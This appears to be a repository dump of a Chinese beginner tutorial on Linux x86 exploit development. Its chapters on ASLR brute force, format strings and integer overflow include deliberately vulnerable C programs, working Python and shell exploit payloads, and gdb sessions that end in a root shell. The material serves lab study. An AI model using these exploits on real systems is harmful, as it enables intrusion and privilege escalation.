├── .gitignore
├── README.md
├── chapter1
├── Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf
└── README.md
├── chapter2
├── README.md
├── brute-force-bypass-aslr.md
├── format-strings.md
├── integer-overflow.md
├── linux-x86-ret2libc.md
├── linux-x86-rop-chain.md
├── linux-x86-rop.md
├── off-by-one.md
├── overwrite-got-bypass-aslr.md
└── ret2plt-bypass-aslr.md
├── chapter3
├── README.md
├── heap-overflow-uisng-malloc-maleficarum.md
├── linux-x86-UAF.md
├── linux-x86-off-by-one.md
├── linux-x86-unlink.md
└── ptmalloc2.md
├── chapter4
└── README.md
├── chapter5
└── README.md
├── lab_code
├── auth_overflow.c
├── exp.py
├── fmt_vuln.c
├── init.sh
├── level1
├── peda-session-level1.txt
├── shellcode.s
└── stack.c
└── media
├── attach
├── Linux Heap Internals.pdf
├── MallocMaleficarum.txt
├── aslr_3
├── pwn5
└── shellcode.bin
└── pic
└── heap
├── MallocInternals-chunk-free.svg
├── MallocInternals-chunk-inuse.svg
├── UAF.png
├── fast_bin.png
├── house-of-force-after-attack.png
├── house-of-force-before-attack.png
├── house-of-spirit-after-attack.png
├── house-of-spirit-before-attack.png
├── malloc-maleficarum-heap-layout-after-attack.png
├── malloc-maleficarum-heap-layout-before-attack.png
├── multiple_heaps.png
├── off-by-one-heap-layout.png
├── over-write-tls-dtor-list.png
├── overflow_unlink.png
├── thread_arena.png
├── unlink.png
└── unsorted_small_large.png
/.gitignore:
--------------------------------------------------------------------------------
1 | *.aux
2 | *.out
3 | peda*
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Linux exploit 开发入门
2 |
3 | ## 这是什么?
4 |
5 | 这是面向新手的 Linux exploit 开发指南。
6 |
7 | 发现 Linux 下二进制学习曲线陡峭,而套路零散,于是整理编著这篇文章,来帮助感兴趣的人学习,还想结识更多对 Linux 二进制感兴趣的人。
8 |
9 | 万事开头难,首先要感谢本文原来的的作者 sploitfun,他开始做了这件事并写出了思路,我在他的基础上进行了补充和翻译。
10 |
11 | 还要要感谢 phrack,乌云知识库,各种 wiki 上面文章的作者,这些作者和安全研究人员讲解了很多关于 exploit 相关技术,是大家的无私分享使很多东西变的可能,我也想学习这样的分享精神。
12 |
13 | 为了防止文档过于臃肿,我们讲分享讨论的话题尽量限制在 Linux, x86, ipv4 范围内,我们假设读者能正常使用 Linux,熟悉 C 语言,了解汇编语言,认识计算机专业词汇,基本体系结构知识(栈,堆,内存之类的)。如果不能因为知识储备不够,推荐 0day 安全以补充背景知识。
14 |
15 | 测试机器是 Ubuntu 14.04 的默认安装。
16 |
17 | ## 目录
18 |
19 | ### 第一章节: [基础知识](./chapter1)
20 |
21 | 基础部分知识比如: 栈与堆分别是什么? C 语言如何转换成汇编? 内存布局是什么样的? ...
22 |
23 | 基础的安全知识如: 什么是堆栈溢出? 堆分配器是如何工作的? ...
24 |
25 | 这个阶段还要介绍基本的漏洞类型和安全机制,然后关闭全部的安全保护机制,学习如何在 Linux 下面编写最基本的 exploit。
26 |
27 | ### 第二章节: [栈的安全](./chapter2)
28 |
29 | 主要关注在现代 Linux 上栈的安全防护机制及其绕过的常规套路.
30 |
31 | 分为两大类:编译相关(ELF 加固),部分编译选项控制着生成更安全的代码(损失部分性能或者空间),还有就说运行时的安全(ASLR),都是为增加了漏洞利用的难度,不能从本质上去除软件的漏洞。
32 |
33 | ### 第三章节: [堆的安全](./chapter3)
34 |
35 | 主要关注在现代 Linux 上 glibc 下堆的安全防护机制及其绕过的常规套路。
36 |
37 | ### 第四章节: [内核的安全](./chapter4)
38 |
39 | 这个阶段学习现代 Linux (2.6.32)及其以后版本 Kernel 安全相关的文档(安全保护,利用)。
40 |
41 | 在早期 Kernel 可以随意访问用户态代码, ret2usr 技术可以让内核执行用户态的代码,不过随着 Linux 的发展 SMAP(禁止 Kernel 随意访问用户态,RFLAGE.AC 标志位置位可以),SMEP 禁止 Kernel 态直接执行用户态代码,KASLR 也提升了漏洞利用的难度。
42 |
43 | ### 第五章节: [漏洞发现](./chapter5)
44 |
45 | 漏洞挖掘的重要性不言而喻,打个比喻上面写的如何吃肉,漏洞挖掘就是肉在哪里。
46 |
47 | 这个章节对我来说目前也是一个新领域,在这个章节里面主要关注 fuzz 与代码审计。
48 |
49 | ## 如何修改和更新?
50 |
51 | ```shell
52 | git clone git@github.com:hardenedlinux/linux_exploit_development_tutorial.git
53 | cd linux_exploit_development_tutorial
54 | make # preview
55 | ```
56 |
57 | ## 如何实践文档代码?
58 |
59 | (WIP)
60 |
61 | 源代码会陆续放到`lab-code`目录中,其实更倾向于提供一个虚拟机镜像供下载。
62 | ...
63 |
64 | ## 版权
65 |
66 | 这个项目是以 知识共享署名-相同方式共享 3.0 许可协议授权。
67 |
--------------------------------------------------------------------------------
/chapter1/Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/chapter1/Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf
--------------------------------------------------------------------------------
/chapter1/README.md:
--------------------------------------------------------------------------------
1 | # 基础知识
2 |
3 | [MSc Computer Science Dissertation Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities](./Automatic%20Generation%20of%20Control%20Flow%20Hijacking%20Exploits%20for%20Software%20Vulnerabilities.pdf)
4 |
5 |
6 |
--------------------------------------------------------------------------------
/chapter2/README.md:
--------------------------------------------------------------------------------
1 | # 栈的安全
2 |
3 | ## 基本的漏洞利用
4 |
5 | [format strings on linux32](./format-strings.md)
6 |
7 | [Integer-overflow on Linux32](./integer-overflow.md)
8 |
9 | [off by one on linux32](./off-by-one.md)
10 |
11 | ## 对抗基于栈上的安全机制
12 |
13 | ### NX
14 |
15 | [ret2libc bypass nx on linux32](./linux-x86-ret2libc.md)
16 |
17 | [rop on Linux32](./linux-x86-rop.md)
18 |
19 | [rop chain on linux32](./linux-x86-rop-chain.md)
20 |
21 | ### ASLR
22 |
23 | [ret2plt bypass aslr on linux32](./ret2plt-bypass-aslr.md)
24 |
25 | [got overwrite bypass aslr on linux32](./overwrite-got-bypass-aslr.md)
26 |
27 | [brute force bypass aslr on linux32](./brute-force-bypass-aslr.md)
28 |
--------------------------------------------------------------------------------
/chapter2/brute-force-bypass-aslr.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | 记录学暴力破解 32 位 Linux bypass ASLR 的过程, 实验部分来自`sploitfun`[^origin].
4 |
5 | >What is brute-force?
6 |
7 | 在这个技术中攻击者随意选择一个`libc`的基地址来持续攻击直到成功, 这个技术是最简单`bypass`的 ASLR 的方法, 当然需要一定运气.
8 |
9 | 演示代码如下:
10 |
11 | ```shell
12 | // gcc -fno-stack-protector
13 | // echo 2 > /proc/sys/kernel/randomize_va_space
14 |
15 | #include
16 | #include
17 |
18 | int main(int argc, char* argv[]) {
19 | char buf[256];
20 | strcpy(buf,argv[1]);
21 | printf("%s\n",buf);
22 | fflush(stdout);
23 | return 0;
24 | }
25 | ```
26 |
27 | # 0x01 analysis
28 |
29 | 当地址随机化开启时候, 发现可以 libc 的每次加载地址都不一样, 但是有规律可循.
30 |
31 | ```shell
32 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
33 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7580000)
34 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
35 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c5000)
36 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
37 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7612000)
38 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
39 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb753d000)
40 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
41 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7563000)
42 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
43 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755a000)
44 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
45 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757d000)
46 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
47 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c7000)
48 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
49 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
50 | Sn0rt@warzone:~/lab$ ldd ./aslr_2|grep libc
51 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7553000)
52 | ```
53 |
54 | `libc`随机化只变化 0xb75 后面的两个数字, 因此最大尝试次数 256(2^8) 次时某次随机化的地址总可能又一次被用到, 在下面的`exp`选择`libc`的起始基地址`0xb7595000`进行多次尝试.
55 |
56 | # 0x02 how to use?
57 |
58 | exp 中 offset 的偏移还是用 peda 套路! offset 是 268.
59 |
60 | 其中`system_arg`我是利用`libc`中"/bin/sh"相对于`system()`在 libc 中的偏移计算的, 利用 gdb`print`两个然后减法运算就可以, 具体操作如下
61 |
62 | ```shell
63 | gdb-peda$ p system
64 | $1 = {} 0xb7e63190 <__libc_system>
65 | gdb-peda$ searchmem "bin/sh" libc
66 | Searching for 'bin/sh' in: libc ranges
67 | Found 1 results, display max 1 items:
68 | libc : 0xb7f83a25 ("bin/sh")
69 | gdb-peda$ ^Z
70 | [1]+ Stopped gdb -q aslr_2
71 | Sn0rt@warzone:~/lab$ python
72 | Python 2.7.6 (default, Mar 22 2014, 22:59:38)
73 | [GCC 4.8.2] on linux2
74 | Type "help", "copyright", "credits" or "license" for more information.
75 | >>> hex(0xb7f83a25-0xb7e63190)
76 | '0x120895L'
77 | >>>
78 | ```
79 |
80 | 参数填充 exp:
81 |
82 | ```python
83 | #!/usr/bin/env python
84 |
85 | from subprocess import call
86 | from pwn import p32
87 |
88 | libc_base_addr = 0xb7595000
89 | exit_offset = 0x000331e0
90 | system_offset = 0x00040190
91 |
92 | system_addr = libc_base_addr + system_offset
93 | exit_addr = libc_base_addr + exit_offset
94 |
95 | system_arg = system_addr + 0x00120894
96 |
97 | payload = "A" * 268 + p32(system_addr) + p32(exit_addr) + p32(system_arg)
98 |
99 | i = 0
100 | while (i < 256):
101 | print "Number of tries: %d" %i
102 | ret = call(["./aslr_2", payload])
103 | i += 1
104 | ```
105 | 其实这里 exp 已经完成了, 不过如果成功过后有点扫尾工作需要做, 把尾部加上
106 |
107 | ```python
108 | ret = call(["./aslr_2", payload])
109 | i += 1
110 | if (not ret):
111 | break
112 | else:
113 | print "Exploit failed"
114 | ```
115 |
116 | ```shell
117 | ...
118 | Number of tries: 79
119 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q]���\�$Zo�
120 | $ uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
121 | $
122 | ```
123 | 需要多运行几次, 有时候会执行失败, 或者执行成功没有会显示.
124 |
125 | # 0x03 doubt
126 |
127 | 这个技术利用了在同一个`libc`文件中函数偏移是相对的构造出 shellcode, 因此我填写的`libc`基地址又一次命中, 下面攻击就水到渠成, 按照理论这个脚本一次就可以命中`libc`, 为什么需要多次执行才能 get shell?
128 |
129 | ### reference
130 |
131 | [^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-ii/)
132 |
--------------------------------------------------------------------------------
/chapter2/format-strings.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | 记录学习格式化字符串安全问题, 依然不启用安全机制 (NX, ALSR, CANARY), 主要实验部分参考 [^book1], 更多理论 [^stanford].
4 |
5 | 示例内存布局` printf("A is %d and is at %08x. B is %x.\n", A, &A, B) `:
6 |
7 | top of stack bottom of stack
8 | |--address of format string--|--value of A--|--address of A--|--value of B--|
9 |
10 |
11 | 存在格式化字符串问题的示例代码如下:
12 |
13 | ```c
14 | /*
15 | * gcc -fno-stack-protector -m32 -z execstack -o
16 | */
17 | #include
18 | #include
19 | #include
20 |
21 | int main(int argc, char *argv[]) {
22 | char text[1024];
23 | static int test_val = -72;
24 |
25 | if(argc < 2) {
26 | printf("Usage: %s \n", argv[0]);
27 | exit(0);
28 | }
29 | strcpy(text, argv[1]);
30 |
31 | printf("The right way to print user-controlled input:\n");
32 | printf("%s", text);
33 |
34 | printf("\nThe wrong way to print user-controlled input:\n");
35 | printf(text);
36 |
37 | printf("\n");
38 |
39 | // Debug output
40 | printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
41 |
42 | exit(0);
43 | }
44 |
45 | ```
46 |
47 | 看见里面几个 % 格式化参数, 我们主要关注的格式化参数如下 (其余的不是特别关注):
48 |
49 | %h 把 int 转换为 signed char 或 unsiged char, 如果后面接 n 转换一个指针到 char.
50 | %s 从内存中读取字符串
51 | %x 输出十六进制数
52 | %n 写入这个地方的偏移量
53 |
54 | # 0x10 starting
55 |
56 | 初步探索, 发现在 testing 后面接上一格式化字符串发现输出很奇怪的东西, 其实这个就是内存读取了, 结合着内存空间分别你可以知道读哪里.
57 |
58 | ```shell
59 | Sn0rt@warzone:~/lab$ ./fmt testing
60 | The right way to print user-controlled input:
61 | testing
62 | The wrong way to print user-controlled input:
63 | testing
64 | [*] test_val @ 0x0804a030 = -72 0xffffffb8
65 | Sn0rt@warzone:~/lab$ ./fmt testing%x
66 | The right way to print user-controlled input:
67 | testing%x
68 | The wrong way to print user-controlled input:
69 | testingbffff270
70 | [*] test_val @ 0x0804a030 = -72 0xffffffb8
71 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10')
72 | The right way to print user-controlled input:
73 | 0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.
74 | The wrong way to print user-controlled input:
75 | 0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8.
76 | [*] test_val @ 0x0804a030 = -72 0xffffffb8
77 | ```
78 |
79 | ## 0x11 arbitrary memory Read
80 |
81 | 这个示例, 需要辅助程序来帮助读环境变量的内存地址, 辅助程序源码如下:
82 |
83 | ```c
84 | #include
85 | #include
86 | #include
87 |
88 | int main(int argc, char *argv[]) {
89 | char *ptr;
90 |
91 | if(argc < 3) {
92 | printf("Usage: %s \n", argv[0]);
93 | exit(0);
94 | }
95 | ptr = getenv(argv[1]); /* get env var location */
96 | ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
97 | printf("%s will be at %p\n", argv[1], ptr);
98 | }
99 | ```
100 |
101 | 利用`%s`可以从内存读取字符串, 以读取 PATH 为例子, 首先获取 PATH 的内存地址.
102 |
103 | ```shell
104 | Sn0rt@warzone:~/lab$ ./getaddr PATH fmt
105 | PATH will be at 0xbffffe26
106 | ```
107 |
108 | 然后构造格式化字符串 (注意 intel 小端序), 到 %s 落到`\x26\xfe\xff\xbf`上直到遇见 NULL 之前的数据按照字符串打印出来.
109 |
110 | ```shell
111 | Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s
112 | The right way to print user-controlled input:
113 | &���%08x.%08x.%08x.%s
114 | The wrong way to print user-controlled input:
115 | &���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
116 | [*] test_val @ 0x0804a030 = -72 0xffffffb8
117 |
118 | ```
119 |
120 | 读 $PATH 成功!
121 |
122 | ## 0x12 arbitrary memory write-%x
123 |
124 | 可以利用`%n`写其对应数据的位置到内存, 不过这个写方法还是蛮麻烦的, 参考<<灰帽黑客: 正义...>>[^book2]11.1.3 写入任意内存提供了一个魔幻公式.
125 | 我们以写入 0xddccbbaa 到 test_val 为例
126 |
127 | ```shell
128 | Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n
129 | The right way to print user-controlled input:
130 | 0�%x%x%156x%n
131 | The wrong way to print user-controlled input:
132 | 0�bffff2704c 4
133 | [*] test_val @ 0x0804a030 = 170 0x000000aa
134 |
135 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")')
136 | The right way to print user-controlled input:
137 | 0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n
138 | The wrong way to print user-controlled input:
139 | 0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554
140 | [*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
141 |
142 | ```
143 |
144 | ## 0x13 arbitrary memory write-direct parameter access
145 |
146 | `%Number$n`直接参数访问构造出来的 payload 相对与上面用一堆 %n 构造出来简洁一些, 依然写入`0xddccbbaa`.
147 |
148 | ```shell
149 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")')
150 | The right way to print user-controlled input:
151 | 0�1�2�3�%154x%4$n
152 | The wrong way to print user-controlled input:
153 | 0�1�2�3� bffff260
154 | [*] test_val @ 0x0804a030 = 170 0x000000AA
155 |
156 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")')
157 | The right way to print user-controlled input:
158 | 0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n
159 | The wrong way to print user-controlled input:
160 | 0�1�2�3� bffff250 4c 4 804a030
161 | [*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
162 | ```
163 |
164 | ## 0x14 arbitrary memory write-%h
165 |
166 | 利用`%h`可以把 payload 构造更加简洁, 而且一次写入两个字节, 这个具体计算方法就是那个魔法公式.
167 | 引用 printf 手册:
168 |
169 | > h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds
170 | to a pointer to a short int argument.
171 |
172 | 如法炮制, 写入`0xddccbbaa`到 test_val.
173 |
174 | ```shell
175 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")')
176 | ....
177 | [*] test_val @ 0x0804a030 = -857888069 0xddccaabb
178 | ```
179 |
180 | # 0x20 using
181 |
182 | 既然我们能写内存, 那么就能写入到一些关键的地方, 来控制程序的流向.
183 |
184 | ## 0x21 .dtors
185 |
186 | 思路 1,.dtors 类似于 C++ 里面构造函数, 函数声明成这个样子`static void func(void) __attribute__ ((destructor))`就类似与 C++ 里面析构函数, 我们打算把 shellcode 放到环境变量里面, 然后利用格式化字符串覆写_DTOR_END_, 按照设计程序会在退出时候调用`exit()`且在 exit() 返回前, 会去调用_DTOR_END_地址的函数, 用 shellcode 在内存里面的地址覆盖掉_DTOR_END_就能 exit() 返回前执行 shellcode.
187 | 不过这个新版本的 gcc 生成链接代码的时候生成的 ELF 里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了, 不过现在有了新的目标
188 |
189 | ```shell
190 | objdump -h -j .fini_array fmt
191 | ```
192 |
193 | ## 0x22 overwrite GOT
194 |
195 | 思路 2: 类似覆盖.dtors, 利用格式化字符串漏洞把 `exit@plt` 覆写为 shellcode 的环境变量里面的地址, 程序在原来调用 exit() 地方就会转跳到 shellcode 上执行.
196 |
197 | 做法, 首先需要把 shellcode 放置到环境变量里面, 后获取其地址,shellcode[下载](../media/attach/shellcode.bin). 这个 shellcode 是 setuid(0) 然后 execve(), 所有要对有 suid 位的程序使用, 如果非 suid 则 setuid(0) 调用失败.
198 |
199 | ```shell
200 | Sn0rt@warzone:~/lab$ sudo chown root:root fmt
201 | Sn0rt@warzone:~/lab$ sudo chmod u+s fmt
202 | Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
203 | Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt
204 | SHELLCODE will be at 0xbffff84a
205 | ```
206 |
207 | 打算把 exit() 地址覆写为 shellcode 地址, 这个地方利用魔法公式计算一下
208 |
209 | ```shell
210 | Sn0rt@warzone:~/lab$ objdump -R fmt
211 |
212 | fmt: file format elf32-i386
213 |
214 | DYNAMIC RELOCATION RECORDS
215 | OFFSET TYPE VALUE
216 | ...
217 | 0804a01c R_386_JUMP_SLOT exit
218 | 0804a020 R_386_JUMP_SLOT __libc_start_main
219 | 0804a024 R_386_JUMP_SLOT putchar
220 |
221 | Sn0rt@warzone:~/lab$ python
222 | ...
223 | >>> 0xbfff - 8
224 | 49143
225 | >>> 0xf84a - 0xbfff
226 | 14411
227 |
228 | Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")')
229 | ...
230 | [*] test_val @ 0x0804a030 = -72 0xffffffb8
231 | sh-4.3# exit
232 | ```
233 |
234 | # 0x03 limit
235 |
236 | 虽然这样覆盖`exit()`成功了, 但是如果开启了 NX 这样的方法就不行了, 一个原因就是 $SHELLCODE 放在环境变量里面, 环境变量 stack 上 (具体还是有点区分的),NX 是不允许里面 [stack] 有 x 的.
237 |
238 | ```shell
239 | Sn0rt@warzone:~/lab$ gdb fmt
240 | Reading symbols from fmt...(no debugging symbols found)...done.
241 | gdb-peda$ b main
242 | Breakpoint 1 at 0x80484e0
243 | ...
244 | gdb-peda$ r
245 | ...
246 | gdb-peda$ searchmem "SHELLCODE"
247 | Searching for 'SHELLCODE' in: None ranges
248 | Found 1 results, display max 1 items:
249 | [stack] : 0xbffff88d ("SHELLCODE=1\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀")
250 | ...
251 | gdb-peda$ vmmap
252 | Start End Perm Name
253 | 0x08048000 0x08049000 r-xp /home/Sn0rt/lab/fmt
254 | ...
255 | 0xbffdf000 0xc0000000 rwxp [stack]
256 | ```
257 |
258 | ### reference
259 |
260 | [^book1]: <>
261 | [^book2]: <<灰帽黑客: 正义黑客的道德规范, 渗透测试, 攻击方法和漏洞分析技术>>
262 | [^stanford]: [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf)
263 |
--------------------------------------------------------------------------------
/chapter2/integer-overflow.md:
--------------------------------------------------------------------------------
1 | 0x00 beginning
2 |
3 | 依然是在 Ubuntu14.04 上面关闭安全保护机制, 实验代码取自 [^origin], 更多信息 [^phrack].
4 |
5 | >什么是整数溢出?
6 |
7 | 存储的值超过类型系统最大的表示范围叫`interger overflow`, 小于其最小表示范围叫`interger underflow`, 整数溢出一般不会直接导致任意代码执行, 但是会导致栈或者堆溢出间接引发任意代码执行, 本笔记打算`interger overflow`导致`stack overflow`来说明问题.
8 |
9 | >类型系统与其的表示范围?
10 |
11 | 当我们存储值到变量里面, 这个在类型语言里面 (c, c++, python, haskell...) 这个变量表示是有范围限制的, 比如当我们打算存 2147483648 到`signed int`类型变量里面, 在 32 位系统上面其表示最大值是`2^31-1`存储这样的值就会导致`integer overflow`,`unsigned int`类型其表示范围是`2^32-1`到`0`, 当存储值小于最小表示下届时候, 发生`integer underflow`.
12 |
13 | 存在问题示例代码:
14 |
15 | ```c
16 |
17 | /* filename: vuln.c
18 | * gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
19 | */
20 | #include
21 | #include
22 | #include
23 |
24 | void store_passwd_indb(char* passwd) {
25 | }
26 |
27 | void validate_uname(char* uname) {
28 | }
29 |
30 | void validate_passwd(char* passwd) {
31 | char passwd_buf[11];
32 | unsigned char passwd_len = strlen(passwd); /* [1] */
33 | if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
34 | printf("Valid Password\n"); /* [3] */
35 | fflush(stdout);
36 | strcpy(passwd_buf,passwd); /* [4] */
37 | } else {
38 | printf("Invalid Password\n"); /* [5] */
39 | fflush(stdout);
40 | }
41 | store_passwd_indb(passwd_buf); /* [6] */
42 | }
43 |
44 | int main(int argc, char* argv[]) {
45 | if(argc!=3) {
46 | printf("Usage Error: \n");
47 | fflush(stdout);
48 | exit(-1);
49 | }
50 | validate_uname(argv[1]);
51 | validate_passwd(argv[2]);
52 | return 0;
53 | }
54 |
55 | ```
56 |
57 | 标号 [1] 处显示了一个`integer overflow`,`strlen()`返回值类型是 size_t (ubuntu 下面定义为 unsigned int), 但是例子代码处用来存储的是个`char`,`char`是 8bit 显然是不能存储超过`2^8-1`, 超出表示的部分虽然会被截断 (虽然 strlen() 能正确找出, 长度 eax 寄存器也能保存, 但是放到`password_len`变量过程中导致问题), 但是如果我们把第二个参数控制在 255+5 到 255+8 之间这样就能 bypass 下面的 if 检查, 这样可以导致基于栈的缓冲区溢出!
58 |
59 | # 0x10 analysis
60 |
61 | 分析密码验证, 输入 256 就已经超越了 char 的表示范围, 可以看下面分析过程观察两次输入的`eax 寄存器`, 但这个程度只能算是一个小 bug.
62 |
63 | ```shell
64 | gdb-peda$ r Sn0rt $(python -c 'print "A" * 256')
65 | gdb-peda$ b validate_passwd
66 | [-------------------------------------code-------------------------------------]
67 | 0x804850d : mov eax,DWORD PTR [ebp+0x8]
68 | 0x8048510 : mov DWORD PTR [esp],eax
69 | 0x8048513 : call 0x80483e0
70 | => 0x8048518 : mov BYTE PTR [ebp-0x9],al
71 | 0x804851b : cmp BYTE PTR [ebp-0x9],0x3
72 | 0x804851f : jbe 0x8048554
73 | 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8
74 | 0x8048525 : ja 0x8048554
75 | ...
76 | gdb-peda$ info registers al
77 | al 0xff 0xff
78 | ...
79 | gdb-peda$ b validate_passwd
80 | ...
81 | gdb-peda$ r Sn0rt $(python -c 'print "A" * 256')
82 | ...
83 | EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
84 | [-------------------------------------code-------------------------------------]
85 | 0x804850d : mov eax,DWORD PTR [ebp+0x8]
86 | 0x8048510 : mov DWORD PTR [esp],eax
87 | 0x8048513 : call 0x80483e0
88 | => 0x8048518 : mov BYTE PTR [ebp-0x9],al
89 | 0x804851b : cmp BYTE PTR [ebp-0x9],0x3
90 | 0x804851f : jbe 0x8048554
91 | 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8
92 | 0x8048525 : ja 0x8048554
93 | ...
94 | gdb-peda$ info registers al
95 | al 0x0 0x0
96 | ```
97 |
98 | 因为下面 cmp 检查了`strlen()`的返回值的长度所以:
99 |
100 | ```shell
101 | [----------------------------------registers-----------------------------------]
102 | EAX: 0x103
103 | ...
104 | EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
105 | [-------------------------------------code-------------------------------------]
106 | 0x804850d : mov eax,DWORD PTR [ebp+0x8]
107 | 0x8048510 : mov DWORD PTR [esp],eax
108 | 0x8048513 : call 0x80483e0
109 | => 0x8048518 : mov BYTE PTR [ebp-0x9],al
110 | 0x804851b : cmp BYTE PTR [ebp-0x9],0x3
111 | 0x804851f : jbe 0x8048554
112 | 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8
113 | 0x8048525 : ja 0x8048554
114 | [------------------------------------stack-------------------------------------]
115 | ```
116 | 这样是构造出绕过 if 检查的方式, 但是导致了 crash.
117 |
118 | # 0x20 prepare
119 |
120 | 寻找一下哪里覆盖 eip.
121 |
122 | ```shell
123 | gdb-peda$ pattern_arg 2 262
124 | Set 2 arguments to program
125 | gdb-peda$ r
126 | ...
127 | Program received signal SIGSEGV, Segmentation fault.
128 | [----------------------------------registers-----------------------------------]
129 | ...
130 | EIP: 0x41414441 ('ADAA')
131 | ...
132 | gdb-peda$ r AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')
133 | Starting program: /home/Sn0rt/lab/vuln AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')
134 | Valid Password
135 |
136 | Program received signal SIGSEGV, Segmentation fault.
137 | ...
138 | EIP: 0x42424141 ('AABB')
139 | ...
140 | gdb-peda$ r AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')
141 | Starting program: /home/Sn0rt/lab/vuln AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')
142 | Valid Password
143 |
144 | Program received signal SIGSEGV, Segmentation fault.
145 | [----------------------------------registers-----------------------------------]
146 | EAX: 0xbffff584 ('A' , "BBBB", 'C' ...)
147 | EBX: 0xb7fcd000 --> 0x1a9da8
148 | ECX: 0xbffff8a0 ("CCCCCCC")
149 | EDX: 0xbffff682 ("CCCCCCC")
150 | ESI: 0x0
151 | EDI: 0x0
152 | EBP: 0x41414141 ('AAAA')
153 | ESP: 0xbffff5a0 ('C' ...)
